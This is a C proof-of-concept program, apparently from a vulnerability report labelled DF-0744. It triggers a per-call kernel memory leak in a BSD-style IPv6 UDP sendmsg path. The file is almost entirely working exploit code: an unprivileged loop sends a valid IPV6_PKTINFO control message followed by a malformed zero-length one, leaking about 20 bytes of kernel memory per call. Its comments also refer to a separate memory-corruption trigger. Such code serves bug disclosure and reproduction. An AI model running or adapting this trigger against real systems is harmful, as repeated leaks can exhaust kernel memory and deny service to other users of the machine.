DF-0744 / leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | /* * DF-0744 trigger #2 — per-call M_IP6OPT memory leak. * * Bug: sys/netinet6/udp6_output.c:262-267 (releaseopt path). * * On the failure path of ip6_setpktoptions() the per-call local * `struct ip6_pktopts opt` may have already accumulated heap * allocations: * - copypktopts() copies the sticky options into &opt (kmalloc * M_IP6OPT), AND/OR * - earlier successfully-parsed cmsgs (e.g. IPV6_PKTINFO) have * kmalloc'd opt.ip6po_pktinfo. * * The buggy releaseopt does `ip6_clearpktopts(in6p->in6p_outputopts, -1)` * which clears the STICKY options (or is a no-op when there is no * sticky), and never frees the per-call local `opt`. When the function * returns, `opt` goes out of scope and its M_IP6OPT allocations are * leaked. * * Demonstrator: * Drive sendmsg() in a tight loop. Each iteration passes a control * buffer containing a VALID IPV6_PKTINFO cmsg (causing ip6_setpktoption * to kmalloc opt.ip6po_pktinfo) followed by a MALFORMED cmsg with * cmsg_len == 0 (causing ip6_setpktoptions to return EINVAL). The * releaseopt path then leaks opt.ip6po_pktinfo. * * Per-iteration leak == sizeof(struct in6_pktinfo) == 20 bytes of * M_IP6OPT. Run N iterations and the in-kernel ip6opt slab grows by * ~N*20 bytes (plus alignment). * * The driver does NOT set any sticky option, so this exercises the * pure per-call leak path (independent of the corruption trigger). * * Usage: leak <iterations> * default: 4000 iterations (~80 kB of leaked M_IP6OPT) * * Unprivileged: PF_INET6 SOCK_DGRAM + sendmsg() only. */ #include <sys/param.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <err.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { int s, rc, i, n; struct sockaddr_in6 dst; struct msghdr msg; struct iovec iov; unsigned char payload[1] = { '.' }; /* * Control buffer layout (amd64, CMSG_ALIGN == 8): * [0..15] struct cmsghdr #1 cmsg_len = CMSG_LEN(20) = 36 * [16..35] in6_pkt_info (20 bytes) * [36..39] padding (CMSG_ALIGN(36)=40) * [40..55] struct cmsghdr #2 cmsg_len = 0 <- EINVAL trigger * * Total: 56 bytes. Well under MLEN. */ char cbuf[40 + 16]; struct cmsghdr *cm1, *cm2; struct in6_pktinfo *pi; n = (argc > 1) ? atoi(argv[1]) : 4000; if (n < 1) n = 4000; s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) err(1, "socket(AF_INET6, SOCK_DGRAM)"); memset(&dst, 0, sizeof(dst)); dst.sin6_len = sizeof(dst); dst.sin6_family = AF_INET6; dst.sin6_addr = in6addr_loopback; /* ::1 */ dst.sin6_port = htons(9); /* discard */ memset(cbuf, 0, sizeof(cbuf)); cm1 = (struct cmsghdr *)&cbuf[0]; cm1->cmsg_level = IPPROTO_IPV6; cm1->cmsg_type = IPV6_PKTINFO; cm1->cmsg_len = CMSG_LEN(sizeof(*pi)); /* 16+20 = 36 */ pi = (struct in6_pktinfo *)CMSG_DATA(cm1); memset(pi, 0, sizeof(*pi)); /* Non-zero, non-multicast, non-unspec address keeps ipi6_addr * validation from short-circuiting at set time. Loopback is fine. */ pi->ipi6_addr = in6addr_loopback; pi->ipi6_ifindex = 0; cm2 = (struct cmsghdr *)&cbuf[40]; cm2->cmsg_level = IPPROTO_IPV6; cm2->cmsg_type = IPV6_PKTINFO; cm2->cmsg_len = 0; /* <<< the EINVAL trigger */ memset(&msg, 0, sizeof(msg)); iov.iov_base = payload; iov.iov_len = sizeof(payload); msg.msg_name = &dst; msg.msg_namelen = sizeof(dst); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); printf("DF-0744 leak loop: %d iterations, expect ~%d bytes of " "leaked M_IP6OPT (20 B/iter)\n", n, n * 20); rc = 0; for (i = 0; i < n; i++) { ssize_t r = sendmsg(s, &msg, 0); if (r < 0) { /* EINVAL is expected — and is exactly what triggers * the buggy releaseopt path that leaks. Network * errors (no route, etc.) on the other hand would * mean the loopback/discard path didn't run. */ if (errno != EINVAL) { warn("sendmsg iteration %d", i); if (errno == ENETUNREACH || errno == EHOSTUNREACH || errno == EAFNOSUPPORT) { /* IPv6 not configured: bail. */ fprintf(stderr, "IPv6 unreachable; aborting " "(run on a guest with ::1)\n"); return 1; } } } } printf("DF-0744 leak loop done: %d iterations complete.\n", n); close(s); return 0; } |